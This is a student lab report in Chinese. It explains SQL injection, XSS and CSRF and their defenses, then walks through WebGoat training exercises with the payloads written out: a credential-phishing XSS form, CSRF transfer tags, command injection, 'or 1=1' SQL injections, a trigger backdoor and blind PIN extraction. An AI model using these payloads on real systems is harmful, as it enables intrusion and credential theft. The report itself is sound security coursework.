20155310 Exp9 Web安全基础实践
基础问题
SQL注入攻击原理,如何防御?
SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取;不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接;不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
应用的异常信息应该给出尽可能少的提示。
采取辅助软件或网站平台来检测sql注入。
XSS攻击的原理,如何防御?
攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。
CSRF攻击原理,如何防御?
攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情
通过referer、token或者验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;避免全站通用的cookie,严格设置cookie的域。
实验过程
WebGoat
终端输入
java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat。
出现下图所示内容:
在浏览器地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码登陆。
XSS攻击
1、Phishing with XSS 跨站脚本钓鱼攻击
编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
在webgoat找到Cross-Site Scripting(XSS),打开Phishing with XSS
将代码输入到框中,点击search出现登录框:
输入用户名20155310,密码。
点击登录后跳出包含用户名和密码的弹框:
2、Stored XSS Attacks 存储型XSS攻击
打开Stored XSS Attacks,在Message框中输入
<script>alert("I am 20155310");</script>
提交
点击提交后弹出显示I am 20155310的对话框。攻击成功!
3、Reflected XSS Attacks 反射型XSS攻击
在code框中输入
<script>alert("I am 20155310");</script>
点击Purchase出现显示I am 20155310的对话框。攻击成功!
CSRF攻击
4、Cross Site Request Forgery(CSRF)
查看Parameters中的src和menu的值。
在Title中输入学号,Message中输入代码
<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>
提交后生成链接。
点击链接查看用户操作的信息,攻击成功。
5、CSRF Prompt By-Pass
查看Parameters中的src和menu的值。在Title中输入学号,Message中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
提交代码生成链接。
点击链接查看用户操作的信息,攻击成功。
SQL注入攻击
6、Command Injection
使用Firefox浏览器中的Firebug功能对源代码进行修改。在BackDoors.help旁边加上"& netstat -an & ipconfig":
在下拉菜单中能看到修改后的值
选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况
7、Numeric SQL Injection
选中Columbia,点Go,看到该城市的天气信息。
利用firebug,在任意一个值如101旁边加上or 1=1:
选中Columbia,点Go,可以看到所有天气数据:
8、Log Spoofing
在User Name文本框中输入
zy%0d%0aLogin Succeeded for username: admin(%0d是回车,%0a是换行符)
,点击登录,攻击成功。
9、String SQL Injection
在文本框中输入' or 1='1。点Go,所有用户信息被显示,攻击成功。
10、LAB:SQL Injection(Stage 1:String SQL Injection)
以用户Neville登录,在密码栏中输入' or 1='1进行SQL注入,注入前需对密码文本框的字符长度进行修改。
登录成功。
11、LAB:SQL Injection(Stage 3:Numeric SQL Injection)
根据Stage1中的登录方法以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile。利用Firebug将ViewProfile的value值改为101 or 1=1 order by salary desc --。
查看到老板信息。
12、Database Backdoors
输入101得到用户信息。
输入注入语句:101; update employee set salary=10000,把该用户的工资涨到10000:
使用语句
101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155310@163.com' WHERE userid = NEW.userid
创建一个后门,把表中所有的邮箱和用户ID都设为
13、Blind Numeric SQL Injection
输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
查看pin数值是否大于10000
经过不断尝试,慢慢缩小范围,最终可以确定pin的值在2300到2400之间。然后再尝试2300到2350或2350到2400,最后确定pin值为2364。